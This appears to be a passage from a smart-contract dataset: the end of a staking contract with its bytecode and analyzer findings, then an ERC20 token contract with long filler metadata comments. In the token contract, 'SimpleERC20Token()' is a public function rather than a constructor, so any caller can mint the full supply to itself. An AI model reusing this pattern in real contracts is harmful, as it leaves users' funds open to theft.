tkn.mul(31557600 * DECIMAL) ).div( stakerRewardValue() ); } }
0x6080604052600436106102085760003560e01c80638439a54111610118578063c4fcf826116100a0578063d8270dce1161006f578063d8270dce146106b0578063e42255d8146106c5578063e91ed7c9146106f8578063ed89f17a1461072b578063ff2eba681461075557610232565b8063c4fcf82614610629578063cb43b2dd1461063e578063d28de27314610668578063d488ebe81461067d57610232565b8063a035b1fe116100e7578063a035b1fe1461055a578063a064b44b1461056f578063b1f3815514610599578063b1fd6740146105cc578063b6b55f25146105ff57610232565b80638439a541146104c7578063925cc435146104f15780639722006f1461051b5780639d2a679f1461054557610232565b806335f6a6ce1161019b5780635321b2c61161016a5780635321b2c6146104105780635982721514610425578063677342ce146104585780637228cd7d146104825780637ca2f5f3146104b257610232565b806335f6a6ce146103915780633a4b66f1146103ca578063475d8733146103d25780634caacd75146103e757610232565b806320e5530b116101d757806320e5530b146102f557806326a4e8d21461031f5780632dd31000146103525780632e1a7d4d1461036757610232565b80630af88b241461023757806312c7df731461026857806313e66ceb1461028f5780631c009aee146102c257610232565b366102325733737a250d5630b4cf539739df2c5dacb4c659f2488d1461023057610230610781565b005b600080fd5b34801561024357600080fd5b5061024c6111d5565b604080516001600160a01b039092168252519081900360200190f35b34801561027457600080fd5b5061027d6111e4565b60408051918252519081900360200190f35b34801561029b57600080fd5b5061027d600480360360208110156102b257600080fd5b50356001600160a01b03166111ea565b3480156102ce57600080fd5b5061027d600480360360208110156102e557600080fd5b50356001600160a01b03166111fc565b34801561030157600080fd5b5061027d6004803603602081101561031857600080fd5b5035611239565b34801561032b57600080fd5b506102306004803603602081101561034257600080fd5b50356001600160a01b03166112a1565b34801561035e57600080fd5b5061024c61139b565b34801561037357600080fd5b506102306004803603602081101561038a57600080fd5b50356113b3565b34801561039d57600080fd5b50610230600480360360408110156103b457600080fd5b506001600160a01b038135169060200135611448565b610230610781565b3480156103de57600080fd5b5061023061150f565b3480156103f357600080fd5b506103fc611589565b604080519115158252519081900360200190f35b34801561041c57600080fd5b5061024c611599565b34801561043157600080fd5b5061027d6004803603602081101561044857600080fd5b50356001600160a01b03166115a8565b34801561046457600080fd5b5061027d6004803603602081101561047b57600080fd5b50356115c3565b34801561048e57600080fd5b5061027d600480360360408110156104a557600080fd5b5080359060200135611614565b3480156104be57600080fd5b5061027d6117cc565b3480156104d357600080fd5b50610230600480360360208110156104ea57600080fd5b50356117d2565b3480156104fd57600080fd5b5061027d6004803603602081101561051457600080fd5b5035611880565b34801561052757600080fd5b5061027d6004803603602081101561053e57600080fd5b50356118cb565b34801561055157600080fd5b5061027d6118f9565b34801561056657600080fd5b5061027d611902565b34801561057b57600080fd5b5061027d6004803603602081101561059257600080fd5b5035611aba565b3480156105a557600080fd5b5061027d600480360360208110156105bc57600080fd5b50356001600160a01b0316611ad4565b3480156105d857600080fd5b5061027d600480360360208110156105ef57600080fd5b50356001600160a01b0316611ae6565b34801561060b57600080fd5b506102306004803603602081101561062257600080fd5b5035611c8d565b34801561063557600080fd5b506103fc611d58565b34801561064a57600080fd5b506102306004803603602081101561066157600080fd5b5035611d68565b34801561067457600080fd5b5061024c611e5f565b34801561068957600080fd5b5061027d600480360360208110156106a057600080fd5b50356001600160a01b0316611e77565b3480156106bc57600080fd5b5061027d611eac565b3480156106d157600080fd5b5061027d600480360360208110156106e857600080fd5b50356001600160a01b0316611eb2565b34801561070457600080fd5b5061027d6004803603602081101561071b57600080fd5b50356001600160a01b0316611f9f565b34801561073757600080fd5b506102306004803603602081101561074e57600080fd5b5035611fba565b34801561076157600080fd5b506102306004803603602081101561077857600080fd5b503515156120b9565b42600c54611c200111156107c65760405162461bcd60e51b81526004018080602001828103825260338152602001806128746033913960400191505060405180910390fd5b600a54600b546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152513391600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561083457600080fd5b505afa158015610848573d6000803e3d6000fd5b505050506040513d602081101561085e57600080fd5b50519050670e92596fd6290000610873611902565b1015801561088a5750600b54600160b01b900460ff165b15610cd457600a54604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156108e057600080fd5b505afa1580156108f4573d6000803e3d6000fd5b505050506040513d602081101561090a57600080fd5b5051600b54604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561095f57600080fd5b505afa158015610973573d6000803e3d6000fd5b505050506040513d602081101561098957600080fd5b5051905060006107ca6107cd84026109ae858002600902868602623cda2002016115c3565b03816109b657fe5b600a54604080516340c10f1960e01b8152306004820152939092046024840181905291519193506001600160a01b0316916340c10f1991604480830192600092919082900301818387803b158015610a0d57600080fd5b505af1158015610a21573d6000803e3d6000fd5b5050604080516002808252606080830184529450909250906020830190803683375050600a5482519293506001600160a01b031691839150600090610a6257fe5b6001600160a01b039283166020918202929092010152600b54825191169082906001908110610a8d57fe5b6001600160a01b03928316602091820292909201810191909152600a546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d6004820152602481018790529051919093169263095ea7b39260448083019391928290030181600087803b158015610b0457600080fd5b505af1158015610b18573d6000803e3d6000fd5b505050506040513d6020811015610b2e57600080fd5b50506040516318cbafe560e01b81526004810183815260016024830181905273f19d8cfd69fd847151b9415b46f7d07a7b9d870a606484018190526407b71a3f546084850181905260a060448601908152865160a48701528651737a250d5630b4cf539739df2c5dacb4c659f2488d966318cbafe5968a96958a95909490939192909160c4909101906020878101910280838360005b83811015610bdc578181015183820152602001610bc4565b505050509050019650505050505050600060405180830381600087803b158015610c0557600080fd5b505af1158015610c19573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610c4257600080fd5b8101908080516040519392919084640100000000821115610c6257600080fd5b908301906020820185811115610c7757600080fd5b8251866020820283011164010000000082111715610c9457600080fd5b82525081516020918201928201910280838360005b83811015610cc1578181015183820152602001610ca9565b5050505090500160405250505050505050505b610cf573f19d8cfd69fd847151b9415b46f7d07a7b9d870a60024704612180565b600b54604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610d4657600080fd5b505afa158015610d5a573d6000803e3d6000fd5b505050506040513d6020811015610d7057600080fd5b5051600a54604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b158015610dc557600080fd5b505afa158015610dd9573d6000803e3d6000fd5b505050506040513d6020811015610def57600080fd5b505190506000610e0983610e034785612215565b90612275565b600a54604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b158015610e5f57600080fd5b505af1158015610e73573d6000803e3d6000fd5b505050506000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610ec657600080fd5b505afa158015610eda573d6000803e3d6000fd5b505050506040513d6020811015610ef057600080fd5b5051600a54604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610f4357600080fd5b505afa158015610f57573d6000803e3d6000fd5b505050506040513d6020811015610f6d57600080fd5b5051600a546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201526024810184905290519293506001600160a01b039091169163095ea7b3916044808201926020929091908290030181600087803b158015610fda57600080fd5b505af1158015610fee573d6000803e3d6000fd5b505050506040513d602081101561100457600080fd5b5050600a546040805163f305d71960e01b81526001600160a01b0390921660048301526024820183905260016044830181905260648301523060848301526407b71a3f5460a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991479160c48082019260609290919082900301818588803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b50505050506040513d60608110156110b857600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038916916370a0823191602480820192602092909190829003018186803b15801561110457600080fd5b505afa158015611118573d6000803e3d6000fd5b505050506040513d602081101561112e57600080fd5b50519050600061113e82856122b7565b905061116b61114c8a6122f9565b6001600160a01b038b166000908152600460205260409020549061232a565b6001600160a01b038a1660009081526004602090815260408083209390935560028152828220429081905560088252838320556003905220546111ae908261232a565b6001600160a01b039099166000908152600360205260409020989098555050505050505050565b600b546001600160a01b031681565b60005490565b60096020526000908152604090205481565b600061123161122c61120d84612384565b6001600160a01b0385166000908152600760205260409020549061232a565b6118cb565b90505b919050565b336000908152600860205260408120546202a30001421061125b575080611234565b336000908152600860205260408120544203906202a3009061128482610e0385620f4240612215565b9050611297620f4240610e038784612215565b9350505050611234565b6112a96123b5565b6001600160a01b0316336001600160a01b031614611306576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b600b54600160a81b900460ff1615611365576040805162461bcd60e51b815260206004820152601b60248201527f46756e6374696f6e2077617320616c72656164792063616c6c65640000000000604482015290519081900360640190fd5b600b805460ff60a81b1916600160a81b179055600a80546001600160a01b039092166001600160a01b0319909216919091179055565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b336113df6113c082612384565b6001600160a01b0383166000908152600760205260409020549061232a565b6001600160a01b0382166000908152600760209081526040808320939093556005815282822042905560069052205461141890836122b7565b6001600160a01b03808316600090815260066020526040902091909155600a5461144491168284612435565b5050565b6114506123b5565b6001600160a01b0316336001600160a01b0316146114ad576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b42600c54610e100110156114f3576040805162461bcd60e51b8152602060048201526008602482015267546f6f206c61746560c01b604482015290519081900360640190fd5b6001600160a01b03909116600090815260046020526040902055565b6115176123b5565b6001600160a01b0316336001600160a01b031614611574576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b600b805460ff60a01b1916600160a01b179055565b600b54600160a01b900460ff1690565b600a546001600160a01b031681565b6001600160a01b031660009081526006602052604090205490565b60006003821115611606575080600160028204015b81811015611600578091506002818285816115ef57fe5b0401816115f857fe5b0490506115d8565b50611234565b811561123457506001919050565b600a54600b546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561168257600080fd5b505afa158015611696573d6000803e3d6000fd5b505050506040513d60208110156116ac57600080fd5b5051600b54604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561170157600080fd5b505afa158015611715573d6000803e3d6000fd5b505050506040513d602081101561172b57600080fd5b5051604080516318160ddd60e01b815290519192506000916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561177357600080fd5b505afa158015611787573d6000803e3d6000fd5b505050506040513d602081101561179d57600080fd5b50519050600082826002890402816117b157fe5b0490506117bf868202611aba565b9450505050505b92915050565b60015490565b6117da6123b5565b6001600160a01b0316336001600160a01b031614611837576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b61183f611589565b1561187b5760405162461bcd60e51b815260040180806020018281038252602e81526020018061292c602e913960400191505060405180910390fd5b600055565b336000908152600960205260408120546202a3000142106118a2575080611234565b336000908152600960205260408120544203906202a3009061128482610e0385620f4240612215565b60006a1a1a94ec861d5c338000006118eb836118e56117cc565b90612215565b816118f257fe5b0492915050565b6407b71a3f5481565b600a54600b546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561197057600080fd5b505afa158015611984573d6000803e3d6000fd5b505050506040513d602081101561199a57600080fd5b5051600b54604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156119ef57600080fd5b505afa158015611a03573d6000803e3d6000fd5b505050506040513d6020811015611a1957600080fd5b5051600a54604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b158015611a6e57600080fd5b505afa158015611a82573d6000803e3d6000fd5b505050506040513d6020811015611a9857600080fd5b50519050611ab281610e03670de0b6b3a764000085612215565b935050505090565b60006a1a1a94ec861d5c338000006118eb836118e56111e4565b60086020526000908152604090205481565b600a54600b546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b158015611b5457600080fd5b505afa158015611b68573d6000803e3d6000fd5b505050506040513d6020811015611b7e57600080fd5b5051600b54604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b158015611bd357600080fd5b505afa158015611be7573d6000803e3d6000fd5b505050506040513d6020811015611bfd57600080fd5b5051604080516318160ddd60e01b81529051919250611c85916001600160a01b038516916318160ddd916004808301926020929190829003018186803b158015611c4657600080fd5b505afa158015611c5a573d6000803e3d6000fd5b505050506040513d6020811015611c7057600080fd5b5051610e03611c7e87611f9f565b8490612215565b949350505050565b42600c54611c20011115611cd25760405162461bcd60e51b81526004018080602001828103825260338152602001806128746033913960400191505060405180910390fd5b600a543390611cec906001600160a01b0316823085612487565b611cf86113c082612384565b6001600160a01b0382166000908152600760209081526040808320939093556005815282822042908190556009825283832055600690522054611d3b908361232a565b6001600160a01b0390911660009081526006602052604090205550565b600b54600160b01b900460ff1681565b611d8a611d74336122f9565b336000908152600460205260409020549061232a565b3360009081526004602090815260408083209390935560029052908120429055611db3826124e7565b33600090815260046020526040902054909150611dd090826122b7565b33600090815260046020526040812091909155611dec83611239565b600a54604080516340c10f1960e01b81523360048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b158015611e4257600080fd5b505af1158015611e56573d6000803e3d6000fd5b50505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000611231611ea7611e88846122f9565b6001600160a01b0385166000908152600460205260409020549061232a565b611aba565b600c5481565b600a54600b546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b158015611f2057600080fd5b505afa158015611f34573d6000803e3d6000fd5b505050506040513d6020811015611f4a57600080fd5b5051600a54604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b158015611bd357600080fd5b6001600160a01b031660009081526003602052604090205490565b33611fc76113c082612384565b6001600160a01b03821660009081526007602090815260408083209390935560059052908120429055611ff983612509565b6001600160a01b03831660009081526007602052604090205490915061201f90826122b7565b6001600160a01b03831660009081526007602052604081209190915561204484611880565b600a54604080516340c10f1960e01b81526001600160a01b0387811660048301526024820185905291519394509116916340c10f199160448082019260009290919082900301818387803b15801561209b57600080fd5b505af11580156120af573d6000803e3d6000fd5b5050505050505050565b6120c16123b5565b6001600160a01b0316336001600160a01b03161461211e576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b612126611589565b156121625760405162461bcd60e51b815260040180806020018281038252602e81526020018061292c602e913960400191505060405180910390fd5b600b8054911515600160b01b0260ff60b01b19909216919091179055565b6040516000906001600160a01b0384169083908381818185875af1925050503d80600081146121cb576040519150601f19603f3d011682016040523d82523d6000602084013e6121d0565b606091505b50509050806122105760405162461bcd60e51b815260040180806020018281038252603a8152602001806128a7603a913960400191505060405180910390fd5b505050565b600082612224575060006117c6565b8282028284828161223157fe5b041461226e5760405162461bcd60e51b81526004018080602001828103825260218152602001806128e16021913960400191505060405180910390fd5b9392505050565b600061226e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612516565b600061226e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125b8565b6001600160a01b038116600090815260026020526040812054611231906123219042906122b7565b6118e584611f9f565b60008282018381101561226e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b038116600090815260056020526040812054611231906123ac9042906122b7565b6118e5846115a8565b600073f19d8cfd69fd847151b9415b46f7d07a7b9d870a6001600160a01b031663c6dbdf616040518163ffffffff1660e01b815260040160206040518083038186803b15801561240457600080fd5b505afa158015612418573d6000803e3d6000fd5b505050506040513d602081101561242e57600080fd5b5051905090565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052612210908490612612565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526124e1908590612612565b50505050565b60006112316124f46111e4565b610e03846a1a1a94ec861d5c33800000612215565b60006112316124f46117cc565b600081836125a25760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561256757818101518382015260200161254f565b50505050905090810190601f1680156125945780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816125ae57fe5b0495945050505050565b6000818484111561260a5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561256757818101518382015260200161254f565b505050900390565b6060612667826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166126c39092919063ffffffff16565b8051909150156122105780806020019051602081101561268657600080fd5b50516122105760405162461bcd60e51b815260040180806020018281038252602a815260200180612902602a913960400191505060405180910390fd5b6060611c85848460008560606126d88561283a565b612729576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106127685780518252601f199092019160209182019101612749565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146127ca576040519150601f19603f3d011682016040523d82523d6000602084013e6127cf565b606091505b509150915081156127e3579150611c859050565b8051156127f35780518082602001fd5b60405162461bcd60e51b815260206004820181815286516024840152865187939192839260440191908501908083836000831561256757818101518382015260200161254f565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590611c8557505015159291505056fe497420686173206e6f74206265656e203220686f7572732073696e636520636f6e7472616374206372656174696f6e20796574416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565646d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a26469706673582212204a1421cf69de4efefb79a2426403c65119264e1004ae56f6d9a32fa316910d4d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,216
0x29f5679ce0f913694fa0f0777c875294fda87ecf
pragma solidity ^0.4.21 ; contract RE_Portfolio_IV_883 { mapping (address => uint256) public balanceOf; string public name = " RE_Portfolio_IV_883 " ; string public symbol = " RE883IV " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1286737478908320000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender&#39;s balance balanceOf[to] += value; // add to recipient&#39;s balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d&#39;&#233;mission - Lignes 1 &#224; 10 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_IV_metadata_line_1_____Ark_Syndicate_Management_Limited_20250515 > // < GNK77qUw5nah0bVnAR6K96cg0y176f3N56yy9l5037es113KkxZ91MQ6i0wU7ws7 > // < 1E-018 limites [ 1E-018 ; 33233233,2929992 ] > // < 0x00000000000000000000000000000000000000000000000000000000C615E5B5 > // < RE_Portfolio_IV_metadata_line_2_____Ark_Syndicate_Management_Limited_20250515 > // < bhGU2V2uwRMiIg7H9X7jwaw06437iSTfJ1DUFJzVRNOZubV77p6HC3C454m5u005 > // < 1E-018 limites [ 33233233,2929992 ; 56512602,1085473 ] > // < 0x00000000000000000000000000000000000000000000000C615E5B5150D76526 > // < RE_Portfolio_IV_metadata_line_3_____Ark_Syndicate_Management_Limited_20250515 > // < 0966mB9LBI8sRJ48K9E1p3q1t86M1106Kog5ewl8DW7GF04l33z2iFo1RiL40bS5 > // < 1E-018 limites [ 56512602,1085473 ; 93152756,5213228 ] > // < 0x0000000000000000000000000000000000000000000000150D7652622B3BD578 > // < RE_Portfolio_IV_metadata_line_4_____Ark_Syndicate_Management_Limited_20250515 > // < n93Nc33HhleZfZHKY1U2HST89Zaq7PD0Zzh18ds6Y1b0ZVT1390kvKOh83weQc0y > // < 1E-018 limites [ 93152756,5213228 ; 107851101,880834 ] > // < 0x000000000000000000000000000000000000000000000022B3BD578282D7BAA0 > // < RE_Portfolio_IV_metadata_line_5_____Ark_Syndicate_Management_Limited_20250515 > // < b26vmyq4pxJ6M6Q672b3r9Hz12nixaL8TsURft2A7nvJ6K40m16MJ8Kg9O88g57C > // < 1E-018 limites [ 107851101,880834 ; 170318758,593458 ] > // < 0x0000000000000000000000000000000000000000000000282D7BAA03F72DCF07 > // < RE_Portfolio_IV_metadata_line_6_____Artis_Group_20250515 > // < dGr6S1T35w70AUsC0A4Dk8BurwXAHmVR7gV30q1N3HJ996a1UjkLX8Tk2RLSSY4y > // < 1E-018 limites [ 170318758,593458 ; 200430677,593728 ] > // < 0x00000000000000000000000000000000000000000000003F72DCF074AAA8F363 > // < RE_Portfolio_IV_metadata_line_7_____Artis_Group_20250515 > // < sfRoP1CWA8ITVJ458XyvA06Phv0KzxmnUmK9xIJMbt0F3xAU479O9iPwYpP97BW2 > // < 1E-018 limites [ 200430677,593728 ; 246257644,7963 ] > // < 0x00000000000000000000000000000000000000000000004AAA8F3635BBCF5A73 > // < RE_Portfolio_IV_metadata_line_8_____Ascot_Underwriting_Limited_20250515 > // < 25fAKnhY57s0QI1u2Kp1KH2uq8D0TNC7Ix3XnaxVu45Yek6sO3V010g9gfWZn805 > // < 1E-018 limites [ 246257644,7963 ; 315699955,468848 ] > // < 0x00000000000000000000000000000000000000000000005BBCF5A73759B7E90E > // < RE_Portfolio_IV_metadata_line_9_____Ascot_Underwriting_Limited_20250515 > // < 6o6Utc5bk15euaVkZ7DTaebNGk1UzH77Jp6Fx2qxjeBtN7826TiWAqFVs2QImB1W > // < 1E-018 limites [ 315699955,468848 ; 345515317,012035 ] > // < 0x0000000000000000000000000000000000000000000000759B7E90E80B6E8AA9 > // < RE_Portfolio_IV_metadata_line_10_____Asia_CapitaL_Rereinsurance_group_pte_Limited_Am_Am_20250515 > // < S0BAWavYHkixv3FmKSJX4o385OjyuG4nD8x2Bl37KAM6NN5OQl6FBK0MZwB39MLR > // < 1E-018 limites [ 345515317,012035 ; 417699154,358107 ] > // < 0x000000000000000000000000000000000000000000000080B6E8AA99B9AE561F > // Programme d&#39;&#233;mission - Lignes 11 &#224; 20 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_IV_metadata_line_11_____Aspen_Insurance_Holdings_Limited_20250515 > // < ncIBKNkx06tEz50Bb0KH6wEkX5RP30XwcJGIgch3FzVKTFQN9jn4f9OTDxrY9VbT > // < 1E-018 limites [ 417699154,358107 ; 434329542,732928 ] > // < 0x00000000000000000000000000000000000000000000009B9AE561FA1CCE4B95 > // < RE_Portfolio_IV_metadata_line_12_____Aspen_Insurance_UK_Limited_A_A_20250515 > // < 66g20ollYBow0DQ67N7qi5YlXzdRyN9WaL700Y1AXCb0763iRZI13pkx8FjRd38Y > // < 1E-018 limites [ 434329542,732928 ; 445834677,879017 ] > // < 0x0000000000000000000000000000000000000000000000A1CCE4B95A6161BCFF > // < RE_Portfolio_IV_metadata_line_13_____Aspen_Managing_Agency_Limited_20250515 > // < 9kwf2FyXdLl9O3OkTv4QUTS33Y8tNZ3nH3bRd04y8xNFH6e7938BiXbxuXCBRfz4 > // < 1E-018 limites [ 445834677,879017 ; 491843738,404566 ] > // < 0x0000000000000000000000000000000000000000000000A6161BCFFB739DFE44 > // < RE_Portfolio_IV_metadata_line_14_____Aspen_Managing_Agency_Limited_20250515 > // < 0tN5A17tlVAC40ksVor267d57HhJB0bwYsHfY6loZ7Mgq3wCswG92Y35ysbpbKm0 > // < 1E-018 limites [ 491843738,404566 ; 504405119,006281 ] > // < 0x0000000000000000000000000000000000000000000000B739DFE44BBE7D2390 > // < RE_Portfolio_IV_metadata_line_15_____Aspen_Managing_Agency_Limited_20250515 > // < GO1QB0HJkz74wdfZyWGA0bXFbbpQP9OXF9h46am9CUuhUslCjX1JIKZjR6wtD6AG > // < 1E-018 limites [ 504405119,006281 ; 564261471,246337 ] > // < 0x0000000000000000000000000000000000000000000000BBE7D2390D2342AF28 > // < RE_Portfolio_IV_metadata_line_16_____Assicurazioni_Generali_SPA_A_20250515 > // < R3R7DZvZiZLBuPGgWp6Mp5IF49g2Cs28q3iqQ187MUIPfoY372Y50ttFL8XY5N41 > // < 1E-018 limites [ 564261471,246337 ; 575032246,721798 ] > // < 0x0000000000000000000000000000000000000000000000D2342AF28D63759554 > // < RE_Portfolio_IV_metadata_line_17_____Assicurazioni_Generalli_Spa_20250515 > // < 13n0ANWi89iZ1P68eNJ29156449Q9bC1HquHnK145hS55ZdTEX1psH8CKfQ1iuy3 > // < 1E-018 limites [ 575032246,721798 ; 601358654,525638 ] > // < 0x0000000000000000000000000000000000000000000000D63759554E00607E60 > // < RE_Portfolio_IV_metadata_line_18_____Assurances_Mutuelles_De_France_Ap_A_20250515 > // < AI393JLT74408s029gIg23Cj2IcJ5AX9VddR5mSIgX8GLx0y9g1CHG9EidQU3nRP > // < 1E-018 limites [ 601358654,525638 ; 624452202,696774 ] > // < 0x0000000000000000000000000000000000000000000000E00607E60E8A0673A1 > // < RE_Portfolio_IV_metadata_line_19_____Asta_Managing_Agency_Limited_20250515 > // < 6S7227YRsaBZ684bB7ov8Za6boNgpB744C2v4ny0J6aNVRLUWPSl262blC7YI94C > // < 1E-018 limites [ 624452202,696774 ; 643038877,043383 ] > // < 0x0000000000000000000000000000000000000000000000E8A0673A1EF8CF774C > // < RE_Portfolio_IV_metadata_line_20_____Asta_Managing_Agency_Limited_20250515 > // < F4D77bz7KJNtyMiN7lh0dokp8gANkKTcV1D8OhMgl9Of1jaBs3MwEe2TDi6XWAKG > // < 1E-018 limites [ 643038877,043383 ; 699352562,34391 ] > // < 0x000000000000000000000000000000000000000000000EF8CF774C104877549E > // Programme d&#39;&#233;mission - Lignes 21 &#224; 30 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_IV_metadata_line_21_____Asta_Managing_Agency_Limited_20250515 > // < LftlGQ8ABEzLOWuxBMcgX52SuCJt6er7xER8zfIe5I5zA68ibiGqWWz8P68y57n1 > // < 1E-018 limites [ 699352562,34391 ; 741743264,010354 ] > // < 0x00000000000000000000000000000000000000000000104877549E1145226875 > // < RE_Portfolio_IV_metadata_line_22_____Asta_Managing_Agency_Limited_20250515 > // < ZmJx1npTDGYL7BsMJMouXMZTVznSe4N3W9no2FqzdHCQn9iHVcakAeUayHhD0KxT > // < 1E-018 limites [ 741743264,010354 ; 758213668,448121 ] > // < 0x00000000000000000000000000000000000000000000114522687511A74E4030 > // < RE_Portfolio_IV_metadata_line_23_____Asta_Managing_Agency_Limited_20250515 > // < 543y486VlEuGSna98wnEpgn1x6o8s6yKctZrUz7vUj8GY253vA5689a2JcPD9yVL > // < 1E-018 limites [ 758213668,448121 ; 771595164,020047 ] > // < 0x0000000000000000000000000000000000000000000011A74E403011F710CAE6 > // < RE_Portfolio_IV_metadata_line_24_____Asta_Managing_Agency_Limited_20250515 > // < r3U6NyOl6kE797vafUX44OK86KtsK9G326a1te97PR51lVwD1V4Ni1vrj6m74ftx > // < 1E-018 limites [ 771595164,020047 ; 820866271,535796 ] > // < 0x0000000000000000000000000000000000000000000011F710CAE6131CBE8945 > // < RE_Portfolio_IV_metadata_line_25_____Asta_Managing_Agency_Limited_20250515 > // < zdNa9kA870ND7JTy25rrQe1f8BEnqbp0janxMWfp8nnY1j9pX990rig356SDKmyy > // < 1E-018 limites [ 820866271,535796 ; 832162888,135598 ] > // < 0x00000000000000000000000000000000000000000000131CBE8945136013CE21 > // < RE_Portfolio_IV_metadata_line_26_____Asta_Managing_Agency_Limited_20250515 > // < 9IBX1W05z7kXE6viPk0w69bRDngQ84C3RyS8FijXLKVE55DKs6KbWGga0v3Sn80m 